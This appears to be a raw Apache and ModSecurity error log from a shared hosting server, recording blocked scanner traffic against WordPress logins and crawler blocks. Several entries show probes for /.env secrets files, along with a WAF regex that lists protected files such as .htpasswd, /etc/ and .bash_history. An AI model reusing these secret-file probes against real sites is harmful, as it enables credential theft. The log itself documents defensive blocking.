224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAFWSojQL4F7upKBiLAAAAKQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:04.554266 2026] [security2:error] [pid 648189:tid 648399] [client 185.177.72.9:40720] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/debug.php"] [unique_id "ai3zAFWSojQL4F7upKBiLwAAALM"] [Sat Jun 13 18:17:04.619743 2026] [security2:error] [pid 648189:tid 648441] [client 34.23.213.224:43996] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAFWSojQL4F7upKBiMQAAANw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:04.622789 2026] [security2:error] [pid 648189:tid 648320] [remote 17.241.219.151:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 151.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zAFWSojQL4F7upKBiMgAAomE"] [Sat Jun 13 18:17:04.647265 2026] [security2:error] [pid 648189:tid 648480] [client 34.23.213.224:44016] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAFWSojQL4F7upKBiMwAAAP4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:04.672965 2026] [security2:error] [pid 648189:tid 648398] [client 34.23.213.224:44002] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAFWSojQL4F7upKBiNAAAALI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:04.736538 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:04.736830 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:04.809037 2026] [security2:error] [pid 648189:tid 648387] [client 34.23.213.224:44020] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAFWSojQL4F7upKBiNgAAAKc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:04.862005 2026] [security2:error] [pid 648189:tid 648461] [client 34.23.213.224:44022] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAFWSojQL4F7upKBiOQAAAOs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:05.025621 2026] [security2:error] [pid 648189:tid 648435] [client 34.23.213.224:44034] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAVWSojQL4F7upKBiQQAAANY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:05.090815 2026] [security2:error] [pid 648189:tid 648349] [remote 47.128.124.17:55118] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "coscharis-tech.com"] [uri "/product-tag/mercury-e-power-series-ups/"] [unique_id "ai3zAVWSojQL4F7upKBiQwAA6H4"] [Sat Jun 13 18:17:05.187563 2026] [security2:error] [pid 646876:tid 647115] [client 34.23.213.224:44038] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAdyTkdrNlD40tSGssAAAAGs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:05.202276 2026] [access_compat:error] [pid 648189:tid 648262] [remote 57.141.14.102:57683] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:05.202749 2026] [access_compat:error] [pid 648189:tid 648262] [remote 57.141.14.102:57683] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:05.269089 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:17:05.269540 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:17:05.276289 2026] [security2:error] [pid 648189:tid 648455] [client 185.177.72.9:40724] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/default/.env"] [unique_id "ai3zAVWSojQL4F7upKBiTQAAAOk"] [Sat Jun 13 18:17:05.348462 2026] [security2:error] [pid 648189:tid 648391] [client 34.23.213.224:44048] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAVWSojQL4F7upKBiUAAAAKs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:05.414575 2026] [security2:error] [pid 648189:tid 648468] [client 185.177.72.9:40724] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/delivery/.env"] [unique_id "ai3zAVWSojQL4F7upKBiUwAAAPI"] [Sat Jun 13 18:17:05.509024 2026] [security2:error] [pid 648189:tid 648406] [client 34.23.213.224:44062] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAVWSojQL4F7upKBiVAAAALk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:05.552575 2026] [security2:error] [pid 648189:tid 648390] [client 185.177.72.9:40724] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/demo-app/.env"] [unique_id "ai3zAVWSojQL4F7upKBiVgAAAKo"] [Sat Jun 13 18:17:05.671794 2026] [security2:error] [pid 646876:tid 647057] [client 34.23.213.224:44070] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAdyTkdrNlD40tSGsuAAAADE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:05.690027 2026] [security2:error] [pid 648189:tid 648367] [client 185.177.72.9:40724] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/demo/.env"] [unique_id "ai3zAVWSojQL4F7upKBiYAAAAJM"] [Sat Jun 13 18:17:05.697211 2026] [access_compat:error] [pid 648189:tid 648261] [remote 57.141.14.26:35270] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:05.697671 2026] [access_compat:error] [pid 648189:tid 648261] [remote 57.141.14.26:35270] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:05.812576 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:17:05.812901 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:17:05.826151 2026] [security2:error] [pid 648189:tid 648432] [client 185.177.72.9:40724] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/dep.php"] [unique_id "ai3zAVWSojQL4F7upKBiZwAAANM"] [Sat Jun 13 18:17:05.835136 2026] [security2:error] [pid 646876:tid 647095] [client 34.23.213.224:44072] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAdyTkdrNlD40tSGsvAAAAFc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:06.000907 2026] [security2:error] [pid 648189:tid 648354] [client 34.23.213.224:44088] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAVWSojQL4F7upKBidQAAAIY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:06.022682 2026] [access_compat:error] [pid 646876:tid 646941] [remote 57.141.14.26:35280] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:06.024901 2026] [access_compat:error] [pid 646876:tid 646941] [remote 57.141.14.26:35280] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:06.094717 2026] [security2:error] [pid 648189:tid 648452] [client 185.177.72.9:40732] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/deploy.php"] [unique_id "ai3zAlWSojQL4F7upKBiegAAAOY"] [Sat Jun 13 18:17:06.135461 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.71:54504] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:06.135920 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.71:54504] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:06.165350 2026] [security2:error] [pid 648189:tid 648440] [client 34.23.213.224:44094] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAlWSojQL4F7upKBifAAAANs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:06.198660 2026] [security2:error] [pid 646876:tid 646892] [remote 57.141.14.97:62856] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 97.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3zAtyTkdrNlD40tSGsygAAXA0"], referer: https://nelsonfarmstn.com/shop/?add_to_wishlist=3145&_wpnonce=8d149de2a5&add-to-cart=401 [Sat Jun 13 18:17:06.308708 2026] [access_compat:error] [pid 646876:tid 646924] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNl [Sat Jun 13 18:17:06.309166 2026] [access_compat:error] [pid 646876:tid 646924] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNl [Sat Jun 13 18:17:06.326517 2026] [security2:error] [pid 648189:tid 648391] [client 34.23.213.224:44102] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAlWSojQL4F7upKBigQAAAKs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:06.339988 2026] [security2:error] [pid 648189:tid 648463] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/math/asinh_basic.phpt"] [unique_id "ai3zAlWSojQL4F7upKBigwAAAO0"] [Sat Jun 13 18:17:06.359636 2026] [security2:error] [pid 648189:tid 648336] [remote 17.246.15.27:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zAlWSojQL4F7upKBihAAAvnE"] [Sat Jun 13 18:17:06.366002 2026] [security2:error] [pid 648189:tid 648220] [remote 17.22.237.105:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 105.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zAlWSojQL4F7upKBihQAAsQA"] [Sat Jun 13 18:17:06.367222 2026] [security2:error] [pid 648189:tid 648453] [client 185.177.72.9:40738] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/deploy/.env"] [unique_id "ai3zAlWSojQL4F7upKBihgAAAOc"] [Sat Jun 13 18:17:06.399315 2026] [lsapi:warn] [pid 646876:tid 647113] [client 43.157.170.126:39172] [host indoorenvironmentaltesting.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home4/indoore1/public_html/wp-content/plugins/real-time-find-and-replace/real-time-find-and-replace.php on line 258\n, referer: http://indoorenvironmentaltesting.com [Sat Jun 13 18:17:06.415450 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.34:34676] 